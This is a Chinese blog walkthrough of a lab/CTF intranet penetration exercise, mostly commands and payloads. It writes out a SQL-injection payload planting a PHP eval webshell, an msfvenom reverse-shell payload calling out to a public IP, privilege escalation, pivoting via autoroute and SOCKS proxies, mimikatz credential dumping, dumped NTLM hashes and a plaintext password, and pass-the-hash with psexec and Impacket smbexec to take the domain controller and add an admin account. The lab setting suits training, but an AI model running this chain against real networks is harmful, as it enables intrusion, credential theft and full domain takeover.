【CTF】msf和impacket联合拿域控内网渗透-拿域控
前言
- 掌控安全里面的靶场内网渗透,练练手!
内网渗透拿域控
1、进去一看,典型的sql注入
2、测试了一下,可以爆库,也可以写一句话,并且还爆了绝对路径,直接拿shell,进入主题
①将shell.php写入网站根目录,payload
http://afsgr16-b1ferw.aqlab.cn/?id=1.1 union select 1,"<?php eval($_REQUEST[gylq]);?>" into outfile 'C:/phpstudy/www/shell.php'
②蚁剑连接,发现权限很低
kali机的提权和后渗透方法
提权我们可以传个木马用msf试试,获取按照系统补丁来搜payload提权等等,这里就用最快的方式,msf(注意:,下面讲关于kali中msf怎么内网穿透,方法太多了)
kali内网穿透用花生壳
拿到webshell之后,由于这个webshell是在公网的,无法访问我们内网的kali,所以我们得将kali中的某个端口映射到公网
下载花生壳
1、可以看到kali的内网ip为192.168.0.108
2、接着设置一下花生壳的配置
3、可以看到我们映射到公网的ip和端口
4、接着使用msf制作访问我们公网ip和端口的后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.46.128.46 LPORT=26240 -f exe > payload.exe
4、打开msf的监听
handler -x -H 192.168.0.108 -P 6666 -p windows/meterpreter/reverse_tcp
或者使用
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 6666
run
5、执行webshell中的木马
sessions 1 //进入会话
6、发现无法不是最高权限,getsystem/getprivs并未成功
7、一般使用最多的是ms16_075的方式提权了,这个成功率高,试试
但是由于我们是内网,所以就必须准备两个msf窗口才能使用msf的提取功能
①msf窗口1执行监听命令
②msf窗口2权限低的那个会话执行提权命令
run exploit/windows/local/ms16_075_reflection_juicy lhost=103.46.128.46 lport=26240
③接着监听的那个msf窗口1就获得了一个system权限的会话
看路由器命令
route
一般为了防止后门被人关掉,将其注入到其他程序中
ps 查看进程pid
接着用migrate将我们后门注入到1816中,有效防止木马挂了
migrate 1816
通过shell命令进入命令窗口
内网信息收集
可以通过ifconfig看到内网ip
接着利用后渗透工具ping方法扫一下ip段,接着扫出三个ip存活
info post/multi/gather/ping_sweep //查看所需参数
run post/multi/gather/ping_sweep rhosts=10.0.1.4/24 //扫网段
还有一种方法,arp扫ip段,用法差不多,这个扫的快一些比较推荐
run post/windows/gather/arp_scanner rhosts=10.0.1.4/24
这是利用msf自带工具扫描,接下来再演示使用nmap扫一下看看
首先添加一个路由如下命令
run get_local_subnets //查看网段
run autoroute -s 10.0.1.0/24
run autoroute -p //查看已添加的路由
background //保存session返回msf
接着开启socks4a服务,使用msf的辅助模块
use auxiliary/server/socks_proxy
set VERSION 4a //设置为socks4a
run
接着设置/etc/proxychains.conf 中的内容改为下面展示截图,kali自带的代理工具
vim /etc/proxychains.conf
接着我们就可以利用proxychains4来进行连接3389端口,和进行内网ip段扫描,使用nmap扫描其内网ip及其端口等,但是扫的真的慢是我网太卡了么。
proxychains4 nmap -sT -Pn -p 22,80,445,3306,3389 10.0.1.0/24 --open
看到好多445端口,这里其实可以用永恒之蓝的
当然,也可以选择不用nmap扫描端口,我们可以用msf的模块扫描端口
use auxiliary/scanner/portscan/tcp
set rhosts 10.0.1.6
kali机用kiwi抓取密码
也可以直接抓取管理员密码
msf提供一些后渗透的模块
load -l 来查看有哪些模块
其实kiwi就是mimikatz就是换了个名在这里,然后加载kiwi
查看当前kiwi的命令用help
help
对10.0.1.4机子进行抓密码,接着执行下面命令,就可以获取管理员密码,这个是对登陆过的账号和密码进行抓取
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonpasswords
获得密码
u:administrator
p:woshifengge1.
kali机hash传递得到会话
看到445端口就可以尝试hash传递,在不需要密码的情况下使用,发现10.0.1.6-10.0.1.8可以被利用
hashdump可获取hash值,得是64位系统权限才可执行
hashdump
或者是
run post/windows/gather/hashdump
或者是
run post/windows/gather/smart_hashdump
以上都可以获取hash值
background 返回
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4d1de63584701c85b8b9eccf5243ef83:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1009:aad3b435b51404eeaad3b435b51404ee:77be122bef1c2d43f67721c95114f46b:::
通过网段知道6-8有445可以利用smb的hash传递连接10.0.1.8这台机子,因为一般情况几台机子的密码都相同。
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
//正向连接
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:4d1de63584701c85b8b9eccf5243ef83 #hashdump获取的hash值进行
这里发现10.0.1.8这台机子存在域控,dns一般是和域控绑定在一个服务器上的
shell
ipconfig /all
shell查看域的命令
shell中命令使用查看是否存在域的方法
这里明显A1这台机子处于域中
1、查看域中计算机
net view //查看域中的计算机
net view /domain //查看域
根据ipconfig /all 可以知道域控主机的ip是10.0.1.6
hash传递并不能登陆进去
2、查看域中的计算机
就一台A1,这里我们得通过A1去获得域控
net view /domain:ZKAQ
3、ping计算机名可以得到IP
ping A1
ping zkaq.cn
4、获得所有域的用户列表,有一个krbtgt就是域用户
net user /domain
5、获取域用户组信息
net group /domain
6、获取当前域管理员信息
net group "domain admins" /domain
7、查看域时间及域服务器的名字
net time /domain
通过域的信息收集得到DC.zkaq.cn 10.0.1.6这个就是域控
拓展,导入kiwi的命令使用
1、msv列出NTLM
kiwi_cmd sekurlsa::msv
2、kerberos抓密码,发现全部加密了
kiwi_cmd sekurlsa::kerberos
3、也可以用creds_all抓取密码,但也明显加密
creds_all
Username Domain NTLM
-------- ------ ----
A1$ ZKAQ 3bf63ae494aee3a74fa90a41b9459df9
Administrator ZKAQ 61465a991b168727b65b3644aab823cd
Administrator A1 4d1de63584701c85b8b9eccf5243ef83
Impacket实现域控NTML的hash传递
这里发现密码是无法获取的,因为NTLM是密文,我们可以使用hash传递,不过这里得使用Impacket的包
首先我们要先去GitHub下载源码,或者直接使用
git clone https://github.com/SecureAuthCorp/impacket.git
然后解压缩,进入impacket
cd impacket/
然后运行
python setup.py install
工具都在这个目录里impacket/examples
cd impacket/examples
接着我们使用smbexec.py这个模块,用上面的ntml值hash传递登陆域控机子
proxychains4 python3 smbexec.py -hashes :61465a991b168727b65b3644aab823cd ZKAQ/Administrator@10.0.1.6
成功拿下域控的超级管理员权限
接下来是基础操作添加超管账号,然后登陆域控
net user gylq ********** /add #密码打长的,2008有限制,密码不能太简单
net localgroup administrators gylq /add #添加超管
直接代理登陆域控10.0.1.6就报错,这是域控机的守护机制
需要使用他域内的机子去登陆,我们先登陆10.0.1.8,再登陆域控
远程3389登陆域控
也可以用直接用抓取的密码来代理登陆3389的端口等,只是演示一下
如果对方没有开启远程连接,可以使用msf自带命令启动
run getgui -e
先登陆10.0.1.4,才发现这个不是域内机子,得去登陆10.0.1.8
proxychains4 rdesktop -u administrator -p woshifengge1. 10.0.1.4
也可以用代理直接连接10.0.1.8,来进行确定
proxychains4 rdesktop -u administrator -p woshifengge1. 10.0.1.8
接着用10.0.1.8作为跳板登陆10.0.1.6,即域控机子
成功登陆域控
总结:这是kali中使用msf和impacket联合拿域控
我的个人博客
孤桜懶契:http://gylq.gitee.io
【CTF】msf和impacket联合拿域控内网渗透-拿域控的更多相关文章
- 利用MSF实现三层网络的一次内网渗透
目标IP192.168.31.207 很明显这是一个文件上传的靶场 白名单限制 各种尝试之后发现这是一个检测文件类型的限制 上传php大马文件后抓包修改其类型为 image/jpeg 上传大马之后发 ...
- MSF 内网渗透笔记
进入meterpreter模式 在meterpreter中输入shell即可进入CMD窗口接着即可执行CMD命令,例如打开RDP服务REG ADD HKLM\SYSTEM\CurrentControl ...
- [原创]K8域控植入脚本生成器(内网渗透/RPC不可用解决方案)
0x001 简介 当IPC或WMI无法访问域内机器时,可通过脚本上控. 我们可以在个人机的开机注销重启脚本里配置持久化. 域环境下同样也有开机脚本,但得在在域控机器配置 可以使用BAT\VBS等脚本, ...
- 内网渗透之权限维持 - MSF
年初九 天公生 0x034 MSF(美少妇) 启动msf msfconsole 先启动msf依赖的postgresql数据库 初始化数据库 msfdb init (要用普通用户) msf路径 /usr ...
- 内网渗透----域环境搭建(server 2008)
域控制器 配置静态IP 安装域服务 点击服务器管理器-添加角色-下一步-添加AD域服务: 安装过后运行安装向导: 下一步后选择"在新林中新建域": 若提示密码不符合要求,则配置密码 ...
- 内网渗透----域环境搭建(server 2012)
先确定两台服务器相通 1.配置静态IP与DNS 2.配置域服务 点击服务器管理器-添加角色和功能-下一步-添加AD域服务: 3.提升为域控制器 安装完成后,可在旗帜处选择提升为域控制器 添加新林 添加 ...
- 【内网渗透笔记】Windows2008 R2搭建域控制器
0x00 前言 将网络中的多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域(domain).域是日常计算机管理的一种很有效手段,因此,域控制器自然而然就在成域环境中最重要的角 ...
- [内网渗透] MSF路由转发/网络代理
这里只做记录,不做详解 0x01 路由转发 已经拿到一台公网服务器: 1.1 方法1 进到meterpreter的会话: route #查看路由信息 background退出当前会话,通过会话2,转发 ...
- 内网渗透之权限维持 - MSF与cs联动
年初六 六六六 MSF和cs联动 msf连接cs 1.在队伍服务器上启动cs服务端 ./teamserver 团队服务器ip 连接密码 2.cs客户端连接攻击机 填团队服务器ip和密码,名字随便 ms ...
随机推荐
- 02.SpringMVC之初体验
1.创建Maven WEB项目 2.导入springmvc的jar包 <dependencies> <dependency> <groupId>org.spring ...
- Ubuntu的build-essential有什么作用
Ubuntu缺省情况下,并没有提供C/C++的编译环境,因此还需要手动安装.但是如果单独安装gcc以及g++比较麻烦,幸运的是,Ubuntu提供了一个build-essential软件包.查看该软件包 ...
- 创建File类 及 this.getClass().getResource()方法 用到的文件路径的问题
1 package test; 2 3 import java.io.*; 4 import java.util.Scanner; 5 6 public class TestResource { 7 ...
- 第13篇-通过InterpreterCodelet存储机器指令片段
在TemplateInterpreterGenerator::generate_all()函数中生成了许多字节码指令以及一些虚拟机辅助执行的机器指令片段,例如生成空指针异常抛出入口的实现如下: { C ...
- UVA1620 Lazy Susan(结论证明)
结论: 当 \(n\geq 6\) 时,若 \(n\) 是奇数且输入序列的逆序对数是奇数,则无解,否则有解. 当 \(n=4\) 或 \(n=5\) 时,答案个数及其有限,只有这个环是 \(1\) 到 ...
- java8时间类API安全问题(赠送新的时间工具类哟)
LocalDateTime等新出的日期类全是final修饰的类,不能被继承,且对应的日期变量都是final修饰的,也就是不可变类.赋值一次后就不可变,不存在多线程数据问题. simpleDateFor ...
- springboot系列总结(一)---初识springboot
Spring Boot是一个简化Spring开发的框架.用来监护spring应用开发,约定大于配置,去繁就简,just run 就能创建一个独立的,产品级的应用. 一说springboot ,Java ...
- 浅谈Java和Go的程序退出
前言 今天在开发中对Java程序的退出产生了困惑,因为题主之前写过一段时间Go,这两者的程序退出逻辑是不同的,下面首先给出结论,再通过简单的例子来介绍. 对于Java程序,Main线程退出,如果当前存 ...
- Kickstart部署之NFS架构
原文转自:https://www.cnblogs.com/itzgr/p/10200615.html作者:木二 目录 一 准备 1.1 完整架构:Kickstart+DHCP+NFS+TFTP+PXE ...
- 关于Quartus构建nios软核以及eclipse建立c语言工程以及成功下载到FPGA芯片过程遇到的各种问题以及解决方法详解
这不是一篇构建nios的教程,而是遇到的各种问题以及解决方法.至于构建教程,网上一大把,我推荐正点原子的FPGA教程,比较新,比较详细,通俗易懂!!! 这里以一个点亮LED灯的Nios软核为例,很明显 ...